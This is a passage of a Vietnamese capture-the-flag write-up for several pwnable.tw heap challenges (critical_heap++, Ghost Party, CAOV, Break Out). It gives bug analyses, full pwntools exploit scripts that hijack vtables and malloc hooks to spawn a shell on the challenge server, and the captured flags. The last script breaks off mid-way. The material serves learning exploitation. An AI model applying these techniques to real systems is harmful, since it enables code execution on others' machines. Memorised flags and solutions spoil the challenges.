',b'4') sla(b'see :',name) def back(): sla(b'choice : ',b'5') #idx0 add(b'aaaa',3) #system play(0) #system set_name(b'abcd',b'efgh') #setenv abcd get_value(b'abcd') #getenv->0x20: value back() delete(0) #idx0 add(b'bbbb',1,b'A'*8) #normal #0x18->0x20 show(0) #leak value p.recvuntil(b'A'*8) heap_leak = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\0')) if args.REMOTE: heap_base = heap_leak - 0x145 else: heap_base = heap_leak - 0x4b5 info("heap leak: " + hex(heap_leak)) info("heap base: " + hex(heap_base)) flag = b'/home/critical_heap++/flag' #idx1 add(b'cccc',3) #system play(1) #system set_name(b'TZ',flag) back() # GDB() #idx2 add(b'dddd',2) #clock if args.REMOTE: flag_addr = heap_base + 0x4d0 else: flag_addr = heap_base + 0x7d0 play(0) #normal sla(b'choice : ',b'2') payload = b'%c%c%c%c%c%c%c%c%c%c%c%s' + p64(flag_addr) sla('Content :',payload) sla(b'choice : ',b'1') #0x71e733 p.interactive() #FLAG{Oh_y0u_f1nd_th3_s3cr3t_1n_loc4ltim3} ``` >FLAG{Oh_y0u_f1nd_th3_s3cr3t_1n_loc4ltim3} --- ## Ghost Party [450 pts] - description: Welcome to ghost island and enjoy the ghost party. `nc chall.pwnable.tw 10401` [ghostparty](https://pwnable.tw/static/chall/ghostparty) [ghostparty.cpp](https://pwnable.tw/static/chall/ghostparty.cpp) [libc.so](https://pwnable.tw/static/libc/libc_64.so.6) - basic file check ![image](https://hackmd.io/_uploads/By_vRqrmC.png) >nay đổi gió làm trên WSL =))) - source: > dài lắm nên k patse vào đây nha > các đồng chí tự coi source rồi ở mục analyse sẽ phân tích ### analsye - trước hết đây là file .cpp nên cách khai thác sẽ hoàn toàn khác so với file .c ta thường gặp > https://hackmd.io/@trhoanglan04/pwningCpp - source sẽ tạo class cha Ghost ```c class Ghost { public : Ghost():name(NULL),age(0){ type = "Ghost"; }; Ghost(const Ghost &copyghost){ name = new char[strlen(copyghost.name) + 1] ; strcpy(name,copyghost.name) ; type = copyghost.type; age = copyghost.age ; msg = copyghost.msg ; } Ghost& operator=(const Ghost &copyghost){ name = new char[strlen(copyghost.name) + 1] ; strcpy(name,copyghost.name) ; type = copyghost.type; age = copyghost.age ; msg = copyghost.msg ; } char *getname(){ return name ; } string gettype(){ return type ; } virtual void speak(){ cout << "<<" << name << ">>" <<" speak : " << msg << endl; }; virtual int changemsg(string str){ msg = str ; return 1 ; } virtual void ghostinfo(){ cout << "Type : " << type << endl ; cout << "Name : " << name << endl ; cout << "Age : " << age << endl ; } virtual ~Ghost(){ age = 0 ; msg.clear(); type.clear(); memset(name,0,malloc_usable_size(name)); delete[] name ; }; protected : int age ; char *name ; string type ; string msg ; }; ``` > khởi tạo (constructor) > sao chép (copy constructor) > huỷ (destructor) > ---> cấu trúc của Rule of Three in C++ - có tổng 10 class con > wolf, devil, zombie, skull, mummy, dullahan, vampire, yuki, kasa, alan - vấn đề là ở class Vampire: ```c class Vampire : public Ghost { public : Vampire():blood(NULL){ type = "Vampire" ; }; Vampire(int ghostage,string ghostname,string ghostmsg){ type = "Vampire"; age = ghostage ; name = new char[ghostname.length() + 1]; strcpy(name,ghostname.c_str()); msg = ghostmsg ; blood = NULL ; }; void addblood(string com){ blood = new char[com.length()+1]; memcpy(blood,com.c_str(),com.length()); } void ghostinfo(){ cout << "Type : " << type << endl ; cout << "Name : " << name << endl ; cout << "Age : " << age << endl ; cout << "Blood : " << blood << endl ; } ~Vampire(){ delete[] blood; }; private : char *blood ; }; ``` > ở class này nó không thiết lặp 'copy constructor' > mà lại có destructor > nên khi gán bằng `operator =` sẽ tạo shallow copy ```c case 7 : { string blood ; Vampire *ghost = new Vampire(age,name,message); cout << "Add blood :" ; cin.ignore(); getline(cin,blood); ghost->addblood(blood) ; smalllist(ghost); break ; } ``` > shallow copy là copy y nguyên ban đầu > nếu class đó đã chứa 1 ptr thì nó sẽ copy ptr đó > thay vì phải tạo 1 ptr mới rồi copy dữ liệu vào ptr đó > nên khi call destructor sẽ free ptr đó > trong khi ptr của cái class ban đầu vẫn trỏ đến > ---> UAF > lưu ý trong C++ mỗi `new` nó sẽ tạo heap - với class Mummy: ```c class Mummy : public Ghost { public : Mummy(){ type = "Mummy" ; }; Mummy(int ghostage,string ghostname,string ghostmsg){ type = "Mummy"; age = ghostage ; name = new char[ghostname.length() + 1]; memcpy(name,ghostname.c_str(),ghostname.length()); msg = ghostmsg ; }; void addbandage(string ban){ bandage = ban ; } void ghostinfo(){ cout << "Type : " << type << endl ; cout << "Name : " << name << endl ; cout << "Age : " << age << endl ; cout << "Bandage : " << bandage << endl ; } ~Mummy(){ bandage.clear(); }; private : string bandage ; }; ``` > nó dùng `.clear()` tức là nó k dùng free chunk - ở class Devil có lẽ đầy đủ nhất ```c class Devil : public Ghost{ public : Devil():power(NULL){ type = "Devil" ; }; Devil(int ghostage,string ghostname,string ghostmsg){ type = "Devil"; age = ghostage ; name = new char[ghostname.length() + 1]; strcpy(name,ghostname.c_str()); msg = ghostmsg ; power = NULL ; }; Devil(const Devil &copyghost){ name = new char[strlen(copyghost.name) + 1] ; strcpy(name,copyghost.name) ; type = copyghost.type; age = copyghost.age ; msg = copyghost.msg ; power = new char[strlen(copyghost.power)+1]; strcpy(power,copyghost.power); }; void addpower(string str){ stringstream ss ; power = new char[str.length()+1]; memcpy(power,str.c_str(),str.length()); cout << "Your power : " << power << endl ; }; void ghostinfo(){ cout << "Type : " << type << endl ; cout << "Name : " << name << endl ; cout << "Age : " << age << endl ; cout << "power : " << power << endl ; } ~Devil(){ delete[] power; }; private : char *power ; }; ``` > mấy class còn lại tự coi nhé - sau khi chọn type ghost thì tới bước này: ```c template <class T> int smalllist(T ghost){ unsigned int choice ; cout << "1.Join " << endl; cout << "2.Give up" << endl ; cout << "3.Join and hear what the ghost say" << endl ; cout << "Your choice : " ; cin >> choice ; if(!cin.good()){ cout << "Format error !" << endl ; exit(0); } switch(choice){ case 1 : ghostlist.push_back(ghost); cout << "\033[32mThe ghost is joining the party\033[0m" << endl ; return 1 ; break ; case 2 : cout << "\033[31mThe ghost is not joining the party\033[0m" << endl ; delete ghost ; return 0 ; break ; case 3 : ghostlist.push_back(ghost); speaking(*ghost); cout << "\033[32mThe ghost is joining the party\033[0m" << endl ; return 1; break ; default : cout << "\033[31mInvaild choice\033[0m" << endl ; delete ghost ; return 0 ; break ; } } ``` > để mà sử dụng UAF ta phải xem sét option1 và option3 > chỉ khác nhau sau khi `.push_back()` , option3 có thêm `speaking(*ghost);` - tham số **speaking()** là 1 class ```c template <class T> void speaking(T ghost){ ghost.speak(); }; ``` >thực ra nó không tham chiếu đến class mình đưa vào mà tạo 1 class MỚI giống class mình truyền vào >---> copy class mới vào ghost >---> ghost chứa `speak()` thuộc **speaking()** >---> gọi destructor bình thường - idea work flow cho bài này là: - ow **vfptr** thành one_gadget > hijack the vfptr because the vfptr is writeable ### leak heap ```py ### vampire idx0 add(b'a',1,b'b',vampire) sla(b'blood :', b'c'*0x60) action() show(0) p.recvuntil(b'Blood : ') heap = u64(p.recv(6) + b'\0\0') + 0x80 #jump next class info("heap leak: " + hex(heap)) ``` ![image](https://hackmd.io/_uploads/ry9dtoH70.png) > thực ra value trên tượng trưng thôi, bị sai > nhưng thực thế run bên server đúng nha ### leak exe - tận dụng lỗi trên, ta có thể leak exe base cũng như vtable bằng cách dùng copy constructor từ class Devil ```py ### devil idx1 add(b'e',2,b'f',devil) #copy constructor sla(b'power :', b'a') action() show(0) p.recvuntil(b'Blood : ') vtable_devil= u64(p.recv(6) + b'\0\0') exe.address = vtable_devil - 0x210b60 info("vtable devil: " + hex(vtable_devil)) info("exe base: " + hex(exe.address)) ``` ![image](https://hackmd.io/_uploads/HyD_nirQR.png) ### leak libc - ở leak libc, ta sẽ ow vfptr để cái nó gọi thực ra là cái mình ow ```py delete(0) #delete_0 vampire payload = p64(vtable_devil) + p64(0) + p64(exe.got.__libc_start_main) payload = payload.ljust(0x60,b'\0') add(b'g',3,payload,mummy) sla(b'bandage : ',b'leak') action() show() p.recvuntil(b'0. : ') libc_leak = u64(p.recv(6) + b'\0\0') libc.address= libc_leak - 0x20740 info("libc leak: " + hex(libc_leak)) info("libc base: " + hex(libc.address)) sl(b'1') ``` - offset trên server hơi khác so với local (có lẽ khác Ubuntu hay 1 vấn đề nào khác) nên sẽ dùng readelf để lấy offset ![image](https://hackmd.io/_uploads/BytaenrQA.png) >0x20740 ### one_gadget - việc còn lại là trigger vtable ```py one_gadget = libc.address + 0xef6c4 payload = p64(heap) + p64(0) + p64(one_gadget) payload = payload.ljust(0x60,b'\0') ## setup fastbin # mummy idx1 add(b'g',3,payload,mummy) #reused sla(b'bandage : ',b'leak') action() delete(1) #delete_1 mummy # mummy idx1 add(b'g',3,payload,mummy) sla(b'bandage : ',b'leak') action() show(0) #trigger vfptr one_gadget ``` ### get flag ![image](https://hackmd.io/_uploads/ryA0MhB7R.png) - setup local: > nếu các đồng chí đã pwninit mà run file patched bị thiếu libc ```bash 1. tự code rồi build Docker 2.23 2. khó khăn thì liên hệ tui, tui gửi libc bị thiếu cho $ patchelf --add-needed libgcc_s.so.1 ghostparty_patched $ patchelf --add-needed libstdc++.so.6 ghostparty_patched ``` - script: ```py #!/usr/bin/python3 from pwn import * exe = ELF('./ghostparty', checksec=False) libc = ELF('./libc_64.so.6', checksec=False) context.binary = exe info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) sln = lambda msg, num: sla(msg, str(num).encode()) sn = lambda msg, num: sa(msg, str(num).encode()) def GDB(): #NOASLR if not args.REMOTE: gdb.attach(p, gdbscript=''' b*0x555555405269 #memcpy in vampire #b*0x555555404BE0 b*0x555555407f89 #show blood vampire b*0x555555403add #message c ''') input() if args.REMOTE: p = remote('chall.pwnable.tw',10401) else: p = process(exe.path) #Rule of Three in C++ wolf = 1 devil = 2 zombie = 3 skull = 4 mummy = 5 dullahan = 6 vampire = 7 yuki = 8 kasa = 9 alan = 10 def add(name,age, msg, option): sln(b'choice :', 1) sla(b'Name : ', name) sln(b'Age : ', age) sla(b'Message : ', msg) sln(b'ghost :', option) def show(idx=None): sln(b'choice :', 2) if idx != None: sln(b'party : ', idx) def action(): sln(b'choice :', 3) def delete(idx): sln(b'choice :',4) sln(b'party : ', idx) GDB() ### vampire idx0 add(b'a',1,b'b',vampire) sla(b'blood :', b'c'*0x60) action() show(0) p.recvuntil(b'Blood : ') heap = u64(p.recv(6) + b'\0\0') + 0x80 #jump next class info("heap leak: " + hex(heap)) ### devil idx1 add(b'e',2,b'f',devil) #copy constructor sla(b'power :', b'a') action() show(0) p.recvuntil(b'Blood : ') vtable_devil= u64(p.recv(6) + b'\0\0') exe.address = vtable_devil - 0x210b60 info("vtable devil: " + hex(vtable_devil)) info("exe base: " + hex(exe.address)) delete(0) #delete_0 vampire payload = p64(vtable_devil) + p64(0) + p64(exe.got.__libc_start_main) payload = payload.ljust(0x60,b'\0') ### mummy idx1 add(b'g',3,payload,mummy) sla(b'bandage : ',b'leak') action() show() p.recvuntil(b'0. : ') libc_leak = u64(p.recv(6) + b'\0\0') libc.address= libc_leak - 0x20740 info("libc leak: " + hex(libc_leak)) info("libc base: " + hex(libc.address)) sl(b'1') delete(1) #delete_1 mummy one_gadget = libc.address + 0xef6c4 payload = p64(heap) + p64(0) + p64(one_gadget) payload = payload.ljust(0x60,b'\0') ## setup fastbin # mummy idx1 add(b'g',3,payload,mummy) #reused sla(b'bandage : ',b'leak') action() delete(1) #delete_1 mummy #mummy idx1 add(b'g',3,payload,mummy) sla(b'bandage : ',b'leak') action() show(0) #trigger vfptr one_gadget p.interactive() #FLAG{D0n7_f0g07_7H3_c0pY_c0Ns7Ruc70R} ``` >FLAG{D0n7_f0g07_7H3_c0pY_c0Ns7Ruc70R} --- ## CAOV [350 pts] - description What does "CAOV" stands for ? `nc chall.pwnable.tw 10306` [caov](https://pwnable.tw/static/chall/caov) [caov.cpp](https://pwnable.tw/static/chall/caov.cpp) [libc.so](https://pwnable.tw/static/libc/libc_64.so.6) - basic file check ![image](https://hackmd.io/_uploads/ryRj4MwrC.png) - check ida (có renamed lại) ![image](https://hackmd.io/_uploads/BkEPTXDHC.png) >**main()** >trước khi vào khai thác sẽ qua 1 hàm **set_name()** (sẽ show sau) >sau đó nhập vào **key** (kiểu char) >và **value** (kiểu int64) >rồi tạo struct Data ![image](https://hackmd.io/_uploads/ry_rJXPr0.png) > **playground()** ![image](https://hackmd.io/_uploads/rJpElmwrA.png) >**set_name()** > max read 150 trên stack > sau đó cpy vào biến **name** ![image](https://hackmd.io/_uploads/B1mrt39BC.png) >**edit()** >BUG nằm ở trong đây (sẽ phân tích sau) ![image](https://hackmd.io/_uploads/S1BOz7DH0.png) >**set_old()** >set NULL rồi gán thời gian lên >giống default destructor ![image](https://hackmd.io/_uploads/HJ7ZW4vSR.png) >**change()** >operator new cái mới >size từ struct, tạo vào **&old** >rồi return cái **&copy** ![image](https://hackmd.io/_uploads/SyoRZLwSC.png) >**delete()** > sẽ free nếu **key** không NULL > là overridden destructor ![image](https://hackmd.io/_uploads/SyXpgEPH0.png) >**edit_data()** >nhập **key** với **value** mới nếu size < 1000 >và malloc với size = **key_len** >![image](https://hackmd.io/_uploads/BJNfBNvrA.png) ![image](https://hackmd.io/_uploads/HyfjQ7DSC.png) >**info()** ### analyse - đề có cung cấp source nhưng ta phải nhìn ida vì do binary và source có vài điểm khác nhau > nhìn source lòi con mắt cũng không thấy BUG đâu > nhưng ida thì có, do cơ chế compile của C++ - đầu tiên, khi chọn option2, sẽ qua **set_name()** rồi mới tới **edit()** - nhìn lại **edit()**, cái **&copy** sẽ lấy từ stack và nếu **key** không NULL sẽ free khi qua **delete()** - nhưng ta lại có thể setup fake_chunk để free (trên stack) từ **set_name()** - ngoài ra ở hàm **info()**, sẽ có thể leak thoải mái, vì nó show là show ptr ![image](https://hackmd.io/_uploads/Skruj7wHA.png) - lưu ý: để xác định **key**, ta cần heap base vì mọi dữ liệu khi ta cin sẽ new operator trên heap - túm lại đây là BUG reused stack (DEBUG kĩ sẽ thấy cách dữ liệu trên stack bị tác động ntn) - khi DEBUG, thấy struct có size là 0x48 (dù ida nhìn chỉ có 3 thứ thay đổi là **key**, **value** với **change_count**) tức là có 0x30 đầu sẽ bị xử lí - với cả phải coi asm mới thấy được lỗi của chtrinh khi xử lí struct (tổng tận 0x60) ![image](https://hackmd.io/_uploads/BykDCPYH0.png) > ở **set_old()** xử lí **&old** từ 0x30 là **key**, 0x38 là **value** ... nhưng return **&copy** ở 0x60 - **Data** là struct trên heap được setup từ đầu trong hàm **main()** nên ctrol payload từ đầu sẽ ảnh hưởng khi DEBUG > mấy cái **&old** và **&copy** là trên stack cũng theo struct nhưng không dính dáng tới **Data** - và **Data** sẽ thay đổi khi vào hàm **edit_data** ![image](https://hackmd.io/_uploads/SkZ3gdFBA.png) - vì đây là libc 2.23 nên chỉ có fastbin và có hook - ==TARGET==: Hook Overwrite = One_gadget ### leak heap - đầu tiên khi vào hàm **play_ground()** ta sẽ setup struct **Data** có **key** là NULL > **value** không ảnh hưởng gì đến workflow > trong C++ sẽ tạo heap khi cin với input > 0x20 - sau đó chọn option2 sẽ đi qua lần lượt 2 hàm ![image](https://hackmd.io/_uploads/BJY3WOFSA.png) - lúc này ta tận dụng BUG reused stack từ **set_name()** khi qua **edit()** - miễn ta setup fake_chunk hoàn hảo sẽ dẫn đến free ptr tuỳ ý khi vào **delete()** > ở đây payload chứa ptr ở 0x60 (như đề cập ở trên **&copy**) ---> fastbin - khôn ngoan ở đây là ta có PIE tắt, biến **name** trên bss nên lấy nó luôn ```py payload = flat( 0, 0x21, #stuff #fake_size b'D'*8, b'E'*8, #fake_chunk #stuff 0x20, 0x20, #fake_prev_size #fake_next_size b'A'*8, b'B'*8, #stuff b'A'*8, b'B'*8, #stuff b'A'*8, b'B'*8, #stuff name_addr+0x10 #ptr_fake_chunk ) ``` >fake chunk size 0x20 ![image](https://hackmd.io/_uploads/BJD6G_KrA.png) - rồi setup tiếp phần **edit_data()** sẽ thay đổi **key** > **key_len** cho 0x10 để malloc lại chunk 0x6032c0 (size 0x20), **key** ghi gì cũng được - tiếp theo chọn tiếp option2, setup tiếp fake_chunk thứ 2 - lúc này ta thấy trong bin có chunk size 0x40, ta sẽ chain payload để khi free sẽ là `0x6032c0 -> 0x14d3c90` ```py payload = flat( 0, 0x41, #stuff #fake_size 0, b'F'*8, #fake_chunk #stuff b'A'*8, b'B'*8, #stuff b'A'*8, b'B'*8, #stuff b'A'*8, 0x20, #stuff #fake_next_size b'A'*8, b'B'*8, #stuff name_addr+0x10 #ptr_fake_chunk ) ``` > ở fake_chunk để 0 khi vào **change()** sẽ **malloc(1)** reused chunk rác 0x20 do **delete(old)** tạo ra ở payload đầu tiên ![image](https://hackmd.io/_uploads/rJM_iqtr0.png) - nhưng lần này ở trong **edit_data()** sẽ KHÔNG thay đổi **key** - lúc này khi **info()** ở after editing sẽ in ra heap ![image](https://hackmd.io/_uploads/r12Qh9FHR.png) ![image](https://hackmd.io/_uploads/SySvh5KSC.png) ### leak libc - xong leak heap, bây giờ để leak libc, ta cần khả năng ghi đè **key** - có heap base ---> xác định heap trỏ **Data**->key >bằng cách tạo tiếp fake_chunk, xác định **key** của chunk được malloc ra - payload để chain cũng tương tự, nhưng ở phần **edit_data()** sẽ thay đổi **key** trỏ về got để leak libc ```py payload = flat( 0, 0x51, #stuff #fake_size 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x20, #fake_next_size key_D_addr, #ptr_fake_chunk ) key = p64(exe.got.strlen) edit(payload, 0x30, key) ``` ![image](https://hackmd.io/_uploads/rJnRLl5HA.png) ### malloc hook - để ow one_gadget vào hook, đầu tiên sẽ chain lại như ban đầu để setup > giữ nguyên **key** ở **edit_data()** ```py payload = flat( 0, 0x71, #stuff #fake_size b'G'*8, b'H'*8, #fake_chunk #stuff b'A'*8, b'B'*8, #stuff b'A'*8, b'B'*8, #stuff b'A'*8, b'B'*8, #stuff b'A'*8, b'B'*8, #stuff name_addr+0x10, 0, #ptr_fake_chunk 0, 0x20 #fake_nex_size ) edit(payload,1020,b'') ``` > mỗi lần chain fake_chunk sẽ chọn fake_size khác cho dễ nhìn > nhưng ở malloc_hook phải chọn fake_size 0x71 vì ở malloc_hook - 0x23 có sẵn size 0x7f (từ libc) - rồi ow hook ở `0x6032c0` > nhưng lần này sẽ không thay đổi ở **delete(copy)** > để không chạm gì tới fastbin ```py payload = flat( 0, 0x71, #stuff #fake_size malloc_hook, 0, #fake_chunk #stuff b'A'*8, b'B'*8, #stuff b'A'*8, b'B'*8, #stuff b'A'*8, b'B'*8, #stuff b'A'*8, b'B'*8, #stuff 0, 0, #&copy 0, 0x20 #fake_nex_size ) ``` ![image](https://hackmd.io/_uploads/Hkw6Ae9HR.png) >`0x7d7d26bc3aed` là malloc_hook - 0x23 - lúc này sẽ thay đổi **edit_data()**, **key_len** = 0x60 để malloc ra chunk size 0x70 - cuối cùng chỉ cần thêm 1 option2 rồi ở **edit_data()** cho **key_len** tiếp tục = 0x60 để edit **key** ở malloc_hook - 0x23 ### get flag ![image](https://hackmd.io/_uploads/rkQeIW5SA.png) - script: (có khả năng fail, run vài lần là được) ```py #!/usr/bin/python3 from pwn import * exe = ELF('./caov_patched', checksec=False) libc = ELF('./libc_64.so.6', checksec=False) context.binary = exe def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*0x401A99 #change strcpy b*0x40198e #set_old b*0x4016C4 #call edit b*0x401e8c #delete b*0x401824 #main cin_key b*0x401557 #edit info after c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('chall.pwnable.tw',10306) else: p = process(exe.path) def edit(name, size, data): sla(b'choice: ', b'2') sla(b'name: ', name) sla(b'length: ', str(size)) if size <= 1000: sla(b'Key: ', data) sla(b'Value: ', str(0x1234)) def show(): sla(b'choice: ', b'1') # GDB() sla(b'name: ', b'hlaan') sla(b'key: ', b'\0'*40) sla(b'value: ', str(0x1234)) name_addr = 0x6032c0 payload = flat( 0, 0x21, #stuff #fake_size b'D'*8, b'E'*8, #fake_chunk #stuff 0x20, 0x20, #fake_prev_size #fake_next_size b'A'*8, b'B'*8, #stuff b'A'*8, b'B'*8, #stuff b'A'*8, b'B'*8, #stuff name_addr+0x10 #ptr_fake_chunk ) edit(payload, 0x10, 'A'*8) # GDB() payload = flat( 0, 0x41, #stuff #fake_size 0, b'F'*8, #fake_chunk #stuff b'A'*8, b'B'*8, #stuff b'A'*8, b'B'*8, #stuff b'A'*8, 0x20, #stuff #fake_next_size b'A'*8, b'B'*8, #stuff name_addr+0x10 #ptr_fake_chunk ) edit(payload, 1020, b'') p.recvuntil(b'after') p.recvuntil(b'Key: ') heap_leak = u32(p.recv(4)) heap_base = heap_leak- 0x11c90 key_D_addr = heap_base + 0x11ce0 info("heap leak: " + hex(heap_leak)) info("heap base: " + hex(heap_base)) info('key Data addr : ' + hex(key_D_addr)) payload = flat( 0, 0x51, #stuff #fake_size 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x20, #fake_next_size key_D_addr, #ptr_fake_chunk ) key = p64(exe.got.strlen) edit(payload, 0x30, key) p.recvuntil(b'after') p.recvuntil(b'Key: ') libc_leak = u64(p.recv(6)+b'\0\0') libc.address = libc_leak - libc.sym.strlen info("libc leak: " + hex(libc_leak)) info("libc base: " + hex(libc.address)) malloc_hook = libc.symbols['__malloc_hook'] - 0x23 one_gadget = libc.address + 0xef6c4 payload = flat( 0, 0x71, #stuff #fake_size b'G'*8, b'H'*8, #fake_chunk #stuff b'A'*8, b'B'*8, #stuff b'A'*8, b'B'*8, #stuff b'A'*8, b'B'*8, #stuff b'A'*8, b'B'*8, #stuff name_addr+0x10, 0, #ptr_fake_chunk 0, 0x20 #fake_nex_size ) edit(payload,1020,b'') payload = flat( 0, 0x71, #stuff #fake_size malloc_hook, 0, #fake_chunk #stuff b'A'*8, b'B'*8, #stuff b'A'*8, b'B'*8, #stuff b'A'*8, b'B'*8, #stuff b'A'*8, b'B'*8, #stuff 0, 0, #&copy 0, 0x20 #fake_nex_size ) edit(payload, 0x60, 'A'*0x10) GDB() key = b'\0'*19 + p64(one_gadget) edit(b'a', 0x60, key) p.interactive() #FLAG{CAOV_stands_f0r_C0py_Ass1gnment_Operat0r_Vuln3rabil1ty_r3memb3r_alway5_r3turn_r3ference_typ3} ``` >FLAG{CAOV_stands_f0r_C0py_Ass1gnment_Operat0r_Vuln3rabil1ty_r3memb3r_alway5_r3turn_r3ference_typ3} --- ## Break Out [450 pts] - basic file check ![image](https://hackmd.io/_uploads/ryNonJ4_C.png) - check ida ![image](https://hackmd.io/_uploads/HJRvyl4OA.png) >**main()** ![image](https://hackmd.io/_uploads/rygsIlEdC.png) ![image](https://hackmd.io/_uploads/ryGTIlEu0.png) ![image](https://hackmd.io/_uploads/S18QPlVuC.png) >**init()** >đọc file 'prisoner' rồi mỗi tù nhân tạo 1 cái heap, tạo struct nối nhau >tối đa 10 tù nhân với 10 cái cell (idx) ![image](https://hackmd.io/_uploads/rJNYvgVuA.png) >prisoner ![image](https://hackmd.io/_uploads/S15QcxNdA.png) ![image](https://hackmd.io/_uploads/rJ6N5eEdC.png) >**interact()** ![image](https://hackmd.io/_uploads/B1GYcgEuA.png) ![image](https://hackmd.io/_uploads/r14i9xEd0.png) ![image](https://hackmd.io/_uploads/ByOA9eVuR.png) >**note()** >tạo heap với idx (0->9), nếu idx chưa tạo trước sẽ malloc, nếu đã tạo từ trước, so sánh size mới, new_size > old_size sẽ realloc ![image](https://hackmd.io/_uploads/rkPDvbNOA.png) ![image](https://hackmd.io/_uploads/HJjFP-4d0.png) >**punish()** >cấn cái hàm này chỉ được phép punish (free) 1 lần (biến **occupied**) ![image](https://hackmd.io/_uploads/ByDNezE_C.png) >**list()** >show thông tin tù nhân - và có vài hàm nhỏ lẻ khác sẽ k mention tới ![image](https://hackmd.io/_uploads/H12D9gEOR.png) ### analyse - khi debug, mình thấy struct của nó như sau (sau khi **init()** prisoner) ```py #Gus Oakley::40:Life imprisonment, espionage and computer crime #James Doolin:Kid Twist:45:Life imprisonment, horrible homicides with ice pick 0x0 (void*) ptr_risk #ptr trỏ đến "High" 0x8 (void*) ptr_heap_name #James Doolin 0x10 (void*) ptr_heap_nickname #Kid Twist 0x18 int age #45 0x1c int cell #thứ tự tù nhân 0x20 (void*) ptr_heap_msg #Life imprisonment, horrible homicides with ice pick 0x28 int64 size #size note 0x30 (void*) ptr_heap_note #content note 0x38 NULL 0x40 NULL 0x48 (void*) ptr_prev #ptr tù nhân trước (Gus Oakley) ``` >mỗi block chunk có size 0x51 (do **calloc()** trong hàm **init()**) - tiếp theo nhắc lại cơ chế **realloc()**, khi request một new_size > old_size thì **realloc()** sẽ free chunk cũ có old_size và **malloc()** chunk mới có size là new_size - kết hợp libc 2.23 tức ta sẽ có libc khi reused chunk ---> leak libc - ngoài ra hàm **list()** sẽ in ra *ptr nên ta chỉ cần ow 1 ptr nào đó thành ptr khác trỏ heap ---> leak heap - ptr duy nhất có thể nhập data là note ---> fake ptr_heap_note = hook rồi nhập data tiếp theo sẽ là *hook ### leak libc ```py add(6, 0x80, b"aaaa") #6 #malloc #66d0 add(7, 0x20, b"hlan") #7 #malloc #6760 #avoid consolidation add(6, 0x90, b"bbbb") #6 #realloc #6790 #free #6 add(8, 0x80, b"a"*8) #8 #malloc #66d0 #reused #6 show() p.recvuntil(b"Life imprisonment, murder") p.recvuntil(b"a"*8) libc_leak = u64(p.recv(6).ljust(8, b"\x00")) libc.address = libc_leak - 0x3c3b78 malloc_hook = libc.sym.__malloc_hook fake_chunk = malloc_hook - 0x23 info("libc leak:" + hex(libc_leak)) info("libc base:" + hex(libc.address)) info("fake chunk:" + hex(fake_chunk)) ``` ### leak heap ```py delete(1) #6d60 #James Doolin ptr_heap = malloc_hook+0x68 add(9, 0x48, p64(ptr_heap)*2) #9 #malloc #6d60 #9 -> #1 show() p.recvuntil(b"multiple homicides") p.recvuntil(b"Prisoner: ") heap_leak = u64((p.recv(6))+b'\0\0') info("heap leak:" + hex(heap_leak)) ``` ### fake chunk ![image](https://hackmd.io/_uploads/r15dBLZuA.png) > target_chunk -> fake_chunk ```py #head: 0x5555556173b0 #attack: 0x555555616d60 # GDB() add(2, 0x68, b"aaaa") #2 #malloc #79b0 #target_chunk add(3, 0x20, b"hlan") #3 #malloc #7a20 #avoid consolidation add(2, 0x78, b"bbbb") #2 #realloc #7a50 #free #79b0 #bin0x70: 9a0 target_chunk = heap_leak #79a0 info("target chunk:" + hex(target_chunk)) payload = p64(heap_leak) + p64(heap_leak) #stuff payload += p64(heap_leak) + p64(0x000000010000002d) #stuff #key payload += p64(heap_leak) + p64(0x10) #stuff #fake_size payload += p64(target_chunk+0x10) #target_chunk add(9, 0x48, payload) #9 #6d60 #not create new (changed #1) add(1, 0x10, p64(fake_chunk)) #1 #not create new #bin0x70 9b0->fake_chunk ``` > key là **age** với **cell** của tù nhân ### ow hook - khúc này hơi lằn tà ngoằn xíu, ta không thể ow free_hook (vì cả chall chỉ được **free()** 1 lần) và nếu ow malloc_hook là system thì size cần là b'/bin/sh\0' nhưng có hàm strtoll chặn rồi - chỉ còn cách ow malloc_hook là one_gadget - nhưng xui là thử hết one_gadget vẫn k thoả mãn được - vậy ta sẽ lách 1 xíu: - malloc_hook = realloc - realloc_hook = one_gadget - chain như thế thì one_gadget sẽ thoả mãn điều kiện stack ở vị trí nhất định là NULL >tăng giảm ở realloc để `pop` r14, r15, ... tăng stack lên phù hợp ```py og = [0x45216, 0x4526a, 0xef6c4, 0xf0567] one_gadget = libc.address + og[3] system = libc.sym.system info("malloc_hook:" + hex(malloc_hook)) info("one_gadget:" + hex(one_gadget)) #0x555555617a20 add(3, 0x68, b"cccc") #3 #realloc #79b0 #free #7a20 #bin0x70: fake_chunk payload = b'a'*0xb + p64(one_gadget) + p64(libc.sym.realloc+11)#realloc_plt add(4, 0x30, payload) #4 #malloc #7ad0 add(5, 0x40, b"hlan") #5 #malloc #7b10 #avoid consolidation add(4, 0x68, b"") #4 #realloc #fake_chunk #free #7ad0 ``` ### get flag ![image](https://hackmd.io/_uploads/ryp-QzuOR.png) - script: ```py #!/usr/bin/python3 from pwn import * exe = ELF('./breakout_patched', checksec=False) libc = ELF('./libc_64.so.6', checksec=False) # ld = ELF('./ld-2.23.so', checksec=False) context.binary = exe info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) def GDB(): #NOASLR if not args.REMOTE: gdb.attach(p, gdbscript=''' b*0x55555540193E #note_realloc b*0x55555540191a #note_malloc b*0x555555401a10 #punish_free b*0x5555554018f7 #note_secure_read c ''') input() if args.REMOTE: p = remote('chall.pwnable.tw',10400) else: p = process(exe.path) def add(cell, size, content): sa(b"> ", b"note\n") sa(b"Cell: ", str(cell)) sa(b"Size: ", str(size)) sa(b"Note: ", content) def delete(cell): sa(b"> ", b"punish\n") sa(b"Cell: ", str(cell)) def show(): sa(b"> ", b"list\n") ### leak libc ### add(6, 0x80, b"aaaa") #6 #malloc #66d0 add(7, 0x20, b"hlan") #7 #malloc #6760 #avoid consolidation add(6, 0x90, b"bbb") #6 #realloc #6790 #free #6 add(8, 0x80, b"a"*8) 